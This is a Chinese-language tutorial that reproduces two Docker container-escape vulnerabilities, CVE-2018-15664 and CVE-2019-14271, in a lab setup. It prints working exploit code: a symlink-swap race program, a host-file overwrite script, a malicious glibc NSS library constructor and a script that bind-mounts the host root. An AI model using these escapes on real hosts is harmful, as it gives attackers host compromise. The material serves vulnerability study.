返回介绍

1 针对容器开发测试过程中的攻击案例

发布于 2024-09-13 00:02:18 字数 9807 浏览 0 评论 0 收藏 0

1.1 背景

docker cp 命令

docker cp 命令用于在 Docker 创建的容器中与宿主机文件系统之间进行文件或目录复制。

符号链接

符号链接 - 软连接。类似于 windows 上的快捷方式 在 linux 中创建符号链接:

ln -s target_path link_path

1.2 CVE-2018-15664 - 符号链接替换漏洞

影响版本:Docker 在 17.06.0-ce~17.12.1-ce:rc218.01.0-ce~18.06.1-ce:rc2 版本范围内受该漏洞影响

1.2.1 原理

漏洞 poc 参考作者 Aleksa Sarai 公布的 poc 文件: https://seclists.org/oss-sec/2019/q2/131

CVE-2018-15664 实际上是一个 TOCTOU (time-of-check to time-of-use) 的问题。当用户执行 docker cp 命令后,Docker 守护进程接收到请求,会对用户给出的复制路径进行检查。如果路径中有容器内部的符号链接,则现在容器内部将其解析成对应的路径字符串,留待后用。

如果在 Docker 守护进程检查复制路径时,攻击者在这里先放置一个非符号链接的的常规文件或目录,检查结束后,攻击者在 Docker 守护进程使用路径前将其替换为一个符号链接,那么这个符号链接就会被打开时在宿主机上解析,从而导致目录穿越。

1.2.2 漏洞复现

利用 metarget 快速搭建 CVE-2018-15664 环境:

./metarget cnv install cve-2018-15664

下载并解压 PoC

其中, build 目录包含了用来编译 EXP 的 Dockerfile 和漏洞利用源代码 symlink_swap.c

注意 构建镜像时,在容器内安装 gcc 时报错,可以先在宿主机将 symlink_swap 编译好,再 COPY 到容器中。

修改后的 Dockerfile:

# Build the binary.
FROM opensuse/tumbleweed
# RUN zypper in -y gcc glibc-devel-static
RUN mkdir /builddir
COPY symlink_swap.c /builddir/symlink_swap.c
# RUN gcc -Wall -Werror -static -lpthread -o /builddir/symlink_swap /builddir/symlink_swap.c
COPY symlink_swap /builddir/symlink_swap

# Set up our malicious rootfs.
FROM opensuse/tumbleweed
ARG SYMSWAP_TARGET=/w00t_w00t_im_a_flag
ARG SYMSWAP_PATH=/totally_safe_path
RUN echo "FAILED -- INSIDE CONTAINER PATH" >"$SYMSWAP_TARGET"
COPY --from=0 /builddir/symlink_swap /symlink_swap
ENTRYPOINT ["/symlink_swap"]

Dockerfile 的主要内容是构建漏洞利用程序,并将其放在容器的根目录下,并在根目录下创建一个 w00t_w00t_im_a_flag 文件,内容为: FAILED -- INSIDE CONTAINER PATH 。容器启动后执行的程序( Entrypoint ) 即为:symlink_swap。

Symlink_swap.c 内容:

/*
     * Now create a symlink to "/" (which will resolve to the host's root if we
     * win the race) and a dummy directory at stash_path for us to swap with.
     * We use a directory to remove the possibility of ENOTDIR which reduces
     * the chance of us winning.
     */
    if (symlink("/", symlink_path) < 0)
        bail("create symlink_path");
    if (mkdir(stash_path, 0755) < 0)
        bail("mkdir stash_path");

    /* Now we do a RENAME_EXCHANGE forever. */
    for (;;) {
        int err = rrenameat2(AT_FDCWD, symlink_path,
                            AT_FDCWD, stash_path, RENAME_EXCHANGE);
        if (err < 0)
            perror("symlink_swap: rename exchange failed");
    }
    return 0;
}

在容器内创建指向根目录的符号链接,并不断地交换符号链接(由命令行参数传入,如「totaly_safe_path」) 与一个正常的目录(如:「totaly_safe_path-stashed」) 的名字。

run_read.sh : 实现读取宿主机文件内容的 shell 脚本

run_write.sh : 实现在宿主机写文件的 shell 脚本

run_write.sh 为例:

SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag

# Create our flag.
echo "FAILED -- HOST FILE UNCHANGED" | sudo tee "$SYMSWAP_TARGET"
sudo chmod 0444 "$SYMSWAP_TARGET"

# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
	--build-arg "SYMSWAP_PATH=$SYMSWAP_PATH" \
	--build-arg "SYMSWAP_TARGET=$SYMSWAP_TARGET" build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap "$SYMSWAP_PATH")

echo "SUCCESS -- HOST FILE CHANGED" | tee localpath

# Now continually try to copy the files.
while true
do
	docker cp localpath "${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET"
done

run_write.sh 启动后恶意容器运行,然后不断执行 docker cp 命令

1.3 CVE-2019-14271

影响 Docker 19.03.x before 19.03.1

1.3.1 原理

docker cp 命令依赖的 docker-tar 组件会加载容器内部的 nsswitch 动态链接库,攻击者可以通过劫持容器内部的 nsswitch 来实现代码的注入,获得宿主机上的 root 权限的代码执行能力。

用户在执行 docker cp 后,Docker 守护进程启动 docker-tar 进程来完成复制。以「从容器内文件复制到宿主机为例」,它会切换进程的根目录(执行 chroot) 到容器根目录,将需要复制的文件打包,然后传递给 Docker 守护进程,Docker 守护进程负责将内容解析到用户指定的宿主机目标路径。

chroot 的操作主要是为了避免符号链接导致的路径穿越问题,但存在漏洞版本的 docker-tar 会加载必要的动态链接库,主要以 libness_ 开头的 nsswitch 动态链接库。chroot 切换根目录后, docker-tar 将加载容器内部的动态链接库。

漏洞利用过程如下:

  • 找出 docker-tar 具体会加载哪些容器内的动态链接库。
  • 下载对应的动态链接库源码,增加 __attribute__ 属性的函数 run_at_link (该函数在动态链接库被加载时首先执行)
  • 等待 docker cp 触发漏洞

1.3.2 漏洞复现

1.3.2.1 确定目标

确定 docker cp 执行中用到哪些容器内的动态链接库。

在存在漏洞的 Docker 环境中,创建容器:

docker run -itd --name=test ubuntu

寻找容器在宿主机上的绝对路径:

docker exec -it test cat /proc/mounts | grep docker

返回结果包含:

workdir=/var/lib/docker/overlay2/42549fa40947a72bc4f3ae8b8676297d774d4fe2f8afb7122717548b06861d85/work

容器在宿主机上的绝对路径即为: /var/lib/docker/overlay2/42549fa40947a72bc4f3ae8b8676297d774d4fe2f8afb7122717548b06861d85/merged

安装监控文件:

apt install inotify-tools

监控文件夹:

inotifywait -mr /var/lib/docker/overlay2/42549fa40947a72bc4f3ae8b8676297d774d4fe2f8afb7122717548b06861d85/merged/lib

执行 docker cp

docker cp test:/etc/passwd ./

可以看到加载了 libnss_files-2.31.so

1.3.2.2 构建动态链接库

libnss_*.so 均在 Glibc 中,首先下载 Glibc 库到本地。

首先要注释掉 gccwarn-c = -Wstrict-prototypes -Wold-style-definition ,避免加入 payload 后编译失败。

./nss/nss_files 目录下任意源码文件中添加 payload。以 files-service.c 为例。

// content should be added into nss/nss_files/files-service.c
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>

# 容器内部原始 libnss_files.so.2 文件备份位置
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
# 恶意 libnss_files.so.2 文件位置
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
 
bool is_priviliged();
 
__attribute__ ((constructor)) void run_at_link(void) {
     char * argv_break[2];
  // 判断是否容器外是高权限执行,即 docker-tar
     if (!is_priviliged())
           return;
 
  // 攻击执行一次即可,用原始的替换备份的库文件
  // 避免后续对环境产生影响
     rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
  
    // 以 docker-tar 运行 /breakout 恶意脚本
  	if (!fork()) {
        // Child runs breakout
        argv_break[0] = strdup("/breakout");
        argv_break[1] = NULL;
        execve("/breakout", argv_break, NULL);
     }
     else
        wait(NULL); // Wait for child
 
     return;
}

bool is_priviliged() {
     FILE * proc_file = fopen("/proc/self/exe", "r");
     if (proc_file != NULL) {
           fclose(proc_file);
           return false; // can open so /proc exists, not privileged
     }
     return true; // we're running in the context of docker-tar
}

编译:

# 目录结构:
- gnu
	- glibc-2.27
	- glibc-build

# 安装 bison
apt install bison
# 新建 glibc-build 目录
mkdir glibc-build
# 要到上级目录进行 config,不然会报错
./glibc-2.27/glibc-build/configure --prefix=/usr/
# 编译
~/glibc-2.27/glibc-build make

1.3.2.3 逃逸

breakout 文件:

将 procfs 伪文件系统挂载到容器内,将 PID 为 1 的根目录 /proc/1/root 绑定挂载到容器内部即可。

#!/bin/bash

umount /host_fs && rm -rf /host_fs
mkdir /host_fs
 
 
mount -t proc none /proc     # mount the host's procfs over /proc
cd /proc/1/root              # chdir to host's root
mount --bind . /host_fs      # mount host root at /host_fs

首先创建 victim 容器:

docker run -itd --name=victim ubuntu

将 breakout 脚本放到 victim 容器根目录。

docker cp ./breakout victim:/breakout

进入容器,再将 /lib/x86_64-linux-gnu 下的 libnss_files.so.2 符号链接指向库文件移动到容器根目录下并重命名为 original_libnss_files.so.2 ,可以使用以下命令查看:

readlink /lib/x86_64-linux-gnu/libnss_files.so.2

mv /lib/x86_64-linux-gnu/libnss_files.so.2 /original_libnss_files.so.2

最后将构建好的恶意 libnss_files.so 重命名为 libnss_files.so.2 ,放到容器内 /lib/x86_64-linux-gnu 下。

模拟用户执行 docker cp 操作:

docker cp victim:/etc/passwd ./

执行后,漏洞被触发,容器内部已经能看到挂载的 /host_fs ,其中的 /etc/hostname 显示的即为宿主机的 hostname

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文